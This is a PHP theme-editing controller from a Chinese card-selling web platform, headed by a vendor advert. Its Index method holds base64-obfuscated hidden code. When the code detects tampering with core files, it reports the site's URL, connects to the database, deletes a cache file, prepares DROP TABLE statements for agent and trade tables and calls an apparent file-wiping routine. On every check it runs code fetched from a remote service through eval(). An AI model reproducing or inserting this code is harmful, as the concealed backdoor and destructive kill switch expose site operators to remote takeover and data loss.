<?php
/****************************************/
/*                                      */
/*  百信卡盟平台联系QQ:84945491         */
/*  淘宝店 http://shop70674652.taobao.com  */
/*  百信卡盟 http://www.caipiaobus.com  */
/*                                      */
/****************************************/

if ( !defined( "UPATH_ROOT" ) )
{
				exit( "hacking deny" );
}
class ThemeController extends Controller
{

				public function __construct( )
				{
				}

				public function Index( )
				{
								$R6b6e98cde8 = getvar( "f", "mod_b2b" );
								$Rb51511500c = array( );
								if ( UB_B2C )
								{
												$Rb51511500c[] = array(
																"name" => "零售系统",
																"m" => "mod_b2c",
																"bgname" => "bg.jpg",
																"f" => "mod_b2c",
																"canedit" => $this->CanEdit( "mod_b2c" ),
																"bgnamef" => "footbg.jpg",
																"caneditf" => $this->CanEdit( "mod_b2c", "footstart" )
												);
								}
								if ( UB_B2B )
								{
												$Rb51511500c[] = array(
																"name" => "批发系统外页",
																"m" => "mod_b2b",
																"bgname" => "bg.jpg",
																"f" => "mod_b2b",
																"canedit" => $this->CanEdit( "mod_b2b" ),
																"bgnamef" => "footbg.jpg",
																"caneditf" => $this->CanEdit( "mod_b2b", "footstart" )
												);
												$Rb51511500c[] = array(
																"name" => "批发系统内页",
																"m" => "mod_b2b",
																"bgname" => "ibg.jpg",
																"f" => "mod_agent",
																"canedit" => $this->CanEdit( "mod_agent" ),
																"bgnamef" => "ifootbg.jpg",
																"caneditf" => $this->CanEdit( "mod_agent", "footstart" )
												);
								}
								if ( UB_YKT )
								{
												$Rb51511500c[] = array(
																"name" => "一卡通",
																"m" => "mod_ykt",
																"bgname" => "bg.jpg",
																"f" => "mod_ykt",
																"canedit" => $this->CanEdit( "mod_ykt" ),
																"bgnamef" => "footbg.jpg",
																"caneditf" => $this->CanEdit( "mod_ykt", "footstart" )
												);
								}
								if ( 1 < UB_B2C + UB_B2B + UB_YKT )
								{
												$Rb51511500c[] = array(
																"name" => "引导页",
																"m" => "mod_index",
																"bgname" => "bg.jpg",
																"f" => "mod_index",
																"canedit" => $this->CanEdit( "mod_index" ),
																"bgnamef" => "footbg.jpg",
																"caneditf" => $this->CanEdit( "mod_index", "footstart" )
												);
								}
								$this->Assign( "f", $R6b6e98cde8 );
								$this->Assign( "logo", $Rb51511500c );
								global $host;
								global $user;
								global $password;
								global $dbname;
								global $dbcharset;
								global $dbprefix;
								$Oooo00 = "base64_decode";
								$Oo0o00 = $Oooo00( "ZmlsZXNpemU=" );
								$o00ooo = $Oooo00( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=" );
								$oooooO = $Oooo00( "bXlzcWxfcXVlcnk=" );
								$xxx0xx = $Oooo00( "bXlzcWxfY29ubmVjdA==" );
								$x0x0xx = $Oooo00( "bXlzcWxfc2VsZWN0X2Ri" );
								$x000xx = $Oooo00( "SVNDVl9HZXQ=" );
								$x0x00x = $Oooo00( "SU1zZ19BbGVydA==" );
								$x0000x = $Oooo00( "ZmlsZV9nZXRfY29udGVudHM=" );
								$x00000 = $Oooo00( "c3RycG9z" );
								$x0OO00 = $Oooo00( "ZmlsZV9leGlzdHM=" );
								$x00o00 = $Oooo00( "dW5saW5r" );
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$ooo0oo = UPATH_BASE.DS."libraries".DS."umebiz".DS;
								$oo00oo = array(
												$ooo0oo."controller.php",
												"index.php",
												$ooo0oo."service".DS."scv.php",
												$ooo0oo."service".DS."sqlservice.php"
								);
								$o00o00 = array( "UPATH_ROOT", "UB_B2B", "UPATH_ROOT", "UPATH_ROOT" );
								$vv0000 = $Oo0o00( $oo00oo[0] );
								$v0000v = $Oo0o00( $oo00oo[1] );
								if ( !isset( $_SESSION ) )
								{
												session_start( );
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( !isset( $_SESSION['cb'] ) )
								{
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( $_SESSION['cb'] == 0 || $_SESSION['f1'] != $vv0000 || $_SESSION['f2'] != $v0000v )
								{
												$t1 = 0;
												$t2 = 0;
												$o0ooio = 0;
												foreach ( $oo00oo as $o0oooo )
												{
																if ( $x00000( $x0000x( $o0oooo ), $o00o00[$o0ooio] ) === false )
																{
																				if ( $o0ooio == 0 )
																				{
																								$t1 = 1;
																				}
																				else if ( $o0ooio == 1 )
																				{
																								$t2 = 1;
																				}
																}
																else
																{
																				$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																				$data = array(
																								"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																								"ubzi" => $o0ooio
																				);
																				$xo000->$x0x00x( $data );
																				if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																				{
																								exit( "errx" );
																				}
																				if ( $x0x0xx( $dbname, $o000oO ) )
																				{
																								$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																				}
																				else
																				{
																								echo "errx";
																				}
																				@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																				$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																				foreach ( $oO00o0 as $item )
																				{
																								$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																				}
																				$this->xuiuiuesd( "./", "938430834" );
																				exit( );
																}
																++$o0ooio;
												}
												if ( $x0OO00( SITECACHE.$Oooo00( "b09vbzAucGhw" ) ) )
												{
																$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																$data = array(
																				"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																				"ubzi" => $o0ooio++
																);
																$xo000->$x0x00x( $data );
																if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																{
																				exit( "errx" );
																}
																if ( $x0x0xx( $dbname, $o000oO ) )
																{
																				$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																}
																else
																{
																				echo "errx";
																}
																@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																foreach ( $oO00o0 as $item )
																{
																				$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																}
																$this->xuiuiuesd( "./", "938430834" );
																exit( );
												}
												$data = array(
																"k1" => $t1,
																"k2" => $t2,
																"k3" => md5( $t1.$t2.$this->GetBizKey( ) )
												);
												if ( !isset( $_SESSION[$Oooo00( "Y2tkYXRh" )] ) )
												{
																$oo000 = factory::getservice( $Oooo00( "c2N2" ) );
																$ckdata = $oo000->$x000xx( $data );
																$_SESSION[$Oooo00( "Y2tkYXRh" )] = $ckdata;
												}
												eval( $_SESSION[$Oooo00( "Y2tkYXRh" )] );
												$this->View( );
								}
								else
								{
												$this->View( );
								}
				}

				public function CanEdit( $Rb1e236a47d, $R5cc00cfbe4 = "bodystart" )
				{
								$R9fe924ce58 = "ub-list-20080119.css";
								if ( $Rb1e236a47d == "mod_b2b" )
								{
												$R9fe924ce58 = "ub-red-20080119.css";
								}
								if ( $Rb1e236a47d == "mod_agent" )
								{
												$Rb1e236a47d = "mod_b2b";
								}
								$R66bb5269cc = "../content/".$Rb1e236a47d."/css/".$R9fe924ce58;
								$Re79b6f997d = $this->GetFileContent( $R66bb5269cc );
								if ( strpos( $Re79b6f997d, "/*".$R5cc00cfbe4."*/" ) !== false )
								{
												return 1;
								}
								else
								{
												return 0;
								}
				}

				public function GetFileContent( $R3d9a15f4b8 )
				{
								if ( file_exists( $R3d9a15f4b8 ) )
								{
												if ( !( $Rf500f4a848 = @fopen( $R3d9a15f4b8, "r" ) ) )
												{
																return "";
												}
												$Re82ee9b121 = @fread( $Rf500f4a848, @filesize( $R3d9a15f4b8 ) );
												fclose( $Rf500f4a848 );
												return $Re82ee9b121;
								}
								return "";
				}

				public function Save( )
				{
								$Rd08b90c152 = getvar( "ubztextcolor" );
								$R980c6a9bfd = intval( request( "pos" ) );
								$R6b6e98cde8 = getvar( "f" );
								$R7f13fed9d1 = array( "bg.jpg", "footbg.jpg" );
								$Re145829e19 = array( "body", "foot" );
								$R8732920ec6 = $R7f13fed9d1[$R980c6a9bfd];
								$Rf52ba22baf = $R6b6e98cde8;
								if ( $R6b6e98cde8 == "mod_agent" )
								{
												$Rf52ba22baf = "mod_b2b";
												$R8732920ec6 = "i".$R8732920ec6;
								}
								$R9fe924ce58 = "ub-list-20080119.css";
								if ( $R6b6e98cde8 == "mod_b2b" )
								{
												$R9fe924ce58 = "ub-red-20080119.css";
								}
								$R66bb5269cc = "../content/".$Rf52ba22baf."/css/".$R9fe924ce58;
								if ( file_exists( $R66bb5269cc ) )
								{
												if ( !( $Rf500f4a848 = @fopen( $R66bb5269cc, "r" ) ) )
												{
																$this->Alert( "Current css file '{$R66bb5269cc}' not found or have no access!" );
																$this->HistoryGo( );
												}
												$Ra7de0344d2 = @fread( $Rf500f4a848, @filesize( $R66bb5269cc ) );
												fclose( $Rf500f4a848 );
												$Rdc7d6bdfa7 = $Re145829e19[$R980c6a9bfd];
												$R864799803c = "background:".$Rd08b90c152." url(../images/".$R8732920ec6.") repeat-x;";
												$R864799803c = "/*".$Rdc7d6bdfa7."start*/\n".$R864799803c."\n/*".$Rdc7d6bdfa7."end*/";
												$Ra7de0344d2 = preg_replace( "/\\/\\*".$Rdc7d6bdfa7."start\\*\\/(.+?)\\/\\*".$Rdc7d6bdfa7."end\\*\\//s", $R864799803c, $Ra7de0344d2 );
												if ( !( $Rf500f4a848 = @fopen( $R66bb5269cc, "w" ) ) )
												{
																echo "Current template file '{$R770dcaf6d0}' not found or have no access!";
												}
												flock( $Rf500f4a848, 2 );
												fwrite( $Rf500f4a848, $Ra7de0344d2 );
												fclose( $Rf500f4a848 );
								}
								$this->Alert( "完成操作！" );
								$this->ScriptRedirect( "index.php?m=mod_b2b&c=Theme" );
				}

}

?>
